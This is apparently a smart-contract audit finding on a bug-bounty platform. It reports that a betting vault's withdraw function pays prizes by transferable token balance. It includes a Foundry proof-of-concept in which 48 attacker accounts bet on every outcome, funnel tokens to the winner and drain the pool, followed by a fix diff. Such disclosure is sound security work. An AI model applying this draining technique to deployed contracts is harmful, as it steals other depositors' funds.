BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Using the amount of vault token to distribute prize is unsafe

dpedpe

Using the user's vault token balance to calculate his share of the prize is incorrect and gives chance to many exploits.

Description

  • Normally, the user would claim his share of the prize pool which depends on the amount of vault token he has bet on the winner.

  • In this scenario, the user's share of the prize depends on the amount of token he has. Which can be increased by transferring from other accounts. If the user bet on more than one country, then his bet for the other countries will also increase his share of the prize.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
@> uint256 shares = balanceOf(msg.sender);
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: High

  • Reason 1: When the user deposits and join for multiple countries and win, his share bet on the other countries will count as effective.

  • Reason 2: An exploiter could easily use multiple accounts to bet on all the countries and transfer the vault token to the winner account to increase his share of the prize.

Impact: High

  • Impact 1: Users who plays normally can lose everything even if they win and the game becomes unplayable.

Proof of Concept

This proof of code can be run inside the provided briVault.t.sol

  1. The attacker deposit and join the game using 48 accounts for 48 countries.

  2. Normal users deposit and join the game.

  3. The game ends and the owner selects the winner.

  4. The attacker transfers all the vault tokens to the winner account

  5. The attacker transfer surplus to another account

  6. The attacker calls withdraw and get all the asset in the pool.

//briVault.t.sol
function testMultipleAccounts(uint256 winnerCountryId) public {
winnerCountryId = winnerCountryId % 48;
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
address[] memory attackers = new address[](48);
//1. exploiter join the game
for (uint256 i = 0; i < 48; i++) {
attackers[i] = makeAddr(string(abi.encodePacked("attacker", i)));
vm.startPrank(attackers[i]);
mockToken.mint(attackers[i], 5 ether);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, attackers[i]);
briVault.joinEvent(i);
vm.stopPrank();
}
//2. normal users join the game
for (uint256 i = 0; i < 100; i++) {
vm.startPrank(makeAddr(string(abi.encodePacked("user", i))));
mockToken.mint(
makeAddr(string(abi.encodePacked("user", i))),
5 ether
);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(
5 ether,
makeAddr(string(abi.encodePacked("user", i)))
);
briVault.joinEvent(i % 48);
vm.stopPrank();
}
//3.The game ends and the owner selects the winner.
vm.warp(eventEndDate + 1);
vm.roll(block.number + 1);
vm.startPrank(owner);
briVault.setWinner(winnerCountryId);
vm.stopPrank();
//4.The attacker transfers all the vault tokens to the winner account
for (uint256 i = 0; i < 48; i++) {
if (i != winnerCountryId) {
vm.startPrank(attackers[i]);
briVault.transfer(
attackers[winnerCountryId],
briVault.balanceOf(attackers[i])
);
vm.stopPrank();
}
}
//5.The attacker transfer surplus to another account
uint256 diff = briVault.balanceOf(attackers[winnerCountryId]) -
briVault.totalWinnerShares();
vm.startPrank(attackers[winnerCountryId]);
if (diff > 0) briVault.transfer(makeAddr("user0"), diff);
//6.The attacker calls withdraw and get all the asset in the pool.
briVault.withdraw();
vm.stopPrank();
​
assertEq(mockToken.balanceOf(address(briVault)), 0);
}

Recommended Mitigation

Use the userSharesToCountry mapping to determine the share of the prize. Howeverm this assumes userSharesToCountry is correct and won't be affected by other vulnerabilities.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!